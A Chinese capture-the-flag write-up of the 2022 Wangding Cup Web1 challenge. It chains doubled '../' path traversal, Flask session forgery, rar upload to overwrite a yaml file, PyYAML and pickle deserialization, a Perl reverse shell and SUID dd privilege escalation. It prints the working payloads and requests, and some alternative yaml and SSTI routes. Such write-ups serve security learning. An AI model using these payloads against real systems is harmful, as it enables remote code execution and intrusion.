2022 网鼎杯青龙组 Web1 WP
2022-8-28 08:4:9 Author: 雾晓安全(查看原文) 阅读量:143 收藏

WEB佬“坐牢”的一天,只做了一题

任意文件读取

def download(file):
    if session.get('updir'):
        basedir = session.get('updir')
        try:
            path = os.path.join(basedir, file).replace('../''')
            if os.path.isfile(path):
                return send_file(path)
            else:
                return path
        except:
            return response("Failed."500)

利用双写绕过 ../
payload:

http://eci-2zegcf515269ynfkw9xp.cloudeci1.ichunqiu.com:8888/....//....//....//....//....//....//....//etc/hosts

拿到hosts文件,得到secret_key : engine-1

  # Kubernetes-managed hosts file.
  127.0.0.1 localhost
  ::1 localhost ip6-localhost ip6-loopback
  fe00::0 ip6-localnet
  fe00::0 ip6-mcastprefix
  fe00::1 ip6-allnodes
  fe00::2 ip6-allrouters
  10.6.119.171 engine-1

根据源代码,把Guest改成Administrator即可开启上传权限,更改updir可以改变上传文件的目录

└─$ python3 flask_session_cookie_manager3.py decode -s "engine-1" -c "eyJ1cGRpciI6InN0YXRpYy91cGxvYWRzLzRiM2NmMWZmYzkyMjRmNGQ4MzBjNWEyOWRiODU0ZDE1IiwidXNlciI6Ikd1ZXN0In0.Ywiv7A.OS3IHqaOzrmCRx50l1eTUJh2Qrg"
{'updir''static/uploads/4b3cf1ffc9224f4d830c5a29db854d15''user''Guest'}

更改session上传文件

首先上传一个普通rar文件测试(不能被check) 文件名:fff.rar

POST /upload HTTP/1.1
Host: eci-2zegcf515269ynfkw9xp.cloudeci1.ichunqiu.com:8888
Content-Length: 658
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://eci-2zegcf515269ynfkw9xp.cloudeci1.ichunqiu.com:8888
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycWHiBd1u820grB2v
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36 Edg/99.0.1150.30
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://eci-2zegcf515269ynfkw9xp.cloudeci1.ichunqiu.com:8888/
Accept-Encoding: gzip, deflate
Accept-Language: zh,en-US;q=0.9,en;q=0.8
Cookie: UM_distinctid=17fafc501cb1894-00e2da0225aa6a-13495c7e-1fa400-17fafc501cc15bb; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1659141632,1661235002; session=eyJ1cGRpciI6Ii4vIiwidXNlciI6IkFkbWluaXN0cmF0b3IifQ.YwiwRw.zCEEWeUKe6MANxewBQvv86cfTpE
Connection: close
    
------WebKitFormBoundarycWHiBd1u820grB2v
Content-Disposition: form-data; name="file"; filename="fff.rar"
Content-Type: application/vnd.rar
    
Rar!óá‚뀀€ß•%ß$‹Ã¤ƒF,Jc€passwd
!AcØfݡPd3#?VMç
6[¢ù…$–I²éºmÓo¾`:¨6y°ŸŽû$«ðÉKàž¼Dj9˜ŒI¦Ó9&“I¤±'÷Ù·>âc.ÛÃlCƒœµ-¥ÔÁ:Uc)#üp"/sPá\Ä-•²€ÿ€ž‚>#ƒ÷ö;‹¹2tH([ºZæÝuiÓ ffGY²9è(MŠ)NJëÈrŒbþϖ$©:ƒd…8BFä‚&jTƒ6Uúí¾C¢ëX¤gϙª±[¬pb8UkVò®6Xæ^|°—ß1Pcˆ˜ÉŽççöµœ8”4„Ï/bÊo<'MÉ/!7ëƒÑĹ·3}ÞTô,è¶8vÏWS‡®$ÖMì:è‡Ô^BZhS_ ió#*hôVM„Â9ދo.XÖáæ“zaó¾uZÆÜZßÇB¬‡¹3Øïë®J‡Äæ[¶JÉǕϳς™jà5җ^|¦ÒßqÅÿô ®ú/‡û¡K,Røþ¦wVQ
------WebKitFormBoundarycWHiBd1u820grB2v--

根据代码,上传文件成功后会在fileinfo文件夹内生成一个yaml文件,并在 /display 路由下加载该yaml文件,那么如果更改 updir 的值为网站主目录,然后把rar文件命名为 fileinfo.rar。

这样该rar文件内的内容就会被直接解压到 fileinfo 目录内,那么就有机会覆盖其他rar文件对应的yaml文件,通过复写yaml文件导致任意命令执行。

PyYAML 反序列化

首先制作恶意的rar文件

  • yaml文件

由于题目里有过滤条件,通过直接加载yaml文件进行命令执行较为困难,所以同步上传一个pickle反序列化文件,通过yaml加载pickle文件进行命令执行。payload:

filename: aaa.rar
files:
      - !!python/object/new:bytes
        - !!python/object/new:map
          - !!python/name:eval
          - ["__import__\x28'pickle'\x29.load\x28open\x28'fileinfo/pik','rb'\x29\x29"]

同时将该yaml文件命名为9d2718721006ee787d641f526da07952.yaml,文件名为第一次上传的正常文件的文件名的md5值,这样访问那个正常rar文件时就可以触发该恶意的yaml文件。

  • 恶意pickle反序列化文件

手写opcode,payload:

cos
system
(S'perl -e \'use Socket;$i="ip";$p=7001;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\''
tR.
  • 上传打包好的rar文件

将pickle 文件也打包进去

rar a fileinfo.rar 9d2718721006ee787d641f526da07952.yaml pik

在 ./ 目录下上传 fileinfo.rar 文件

更改session, payload:

└─$ python3 flask_session_cookie_manager3.py encode -s "engine-1" -t "{'updir': './', 'user': 'Administrator'}"     
eyJ1cGRpciI6Ii4vIiwidXNlciI6IkFkbWluaXN0cmF0b3IifQ.YwiwRw.zCEEWeUKe6MANxewBQvv86cfTp

上传之后重新访问fff.rar 文件,在服务器端监听收到反弹的shell

Suid提权

发现没有访问flag的权限,全局搜索suid权限命令进行提权访问,发现dd命令可以利用

dd 提权法 :https://www.cnblogs.com/zlgxzswjy/p/12746160.html

成功获得flag

其他思路

赛后交流发现了师傅们的其他思路

用python/object/new:map 调用 os.popen

!!python/object/new:frozenset
- !!python/object/new:map
  - !!python/name:os.popen
  - ["bash /app/fileinfo/cmd"]

还有师傅将result.html 覆盖后进行SSTI,直接访问页面传参执行命令

点击蓝字

关注我们

Cyber Guard
#漏洞复现#CTF技巧#安全信息#渗透测试
公众号

文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2NDM2MTE5Mw==&mid=2247494989&idx=2&sn=c989a293afec231fbf9408894f23b88f&chksm=ce6822cbf91fabdd0048dcefce7ed439c7ef67f8c69cd049a016af47a8cf18eb46b295f0697f#rd
如有侵权请联系:admin#unsafe.sh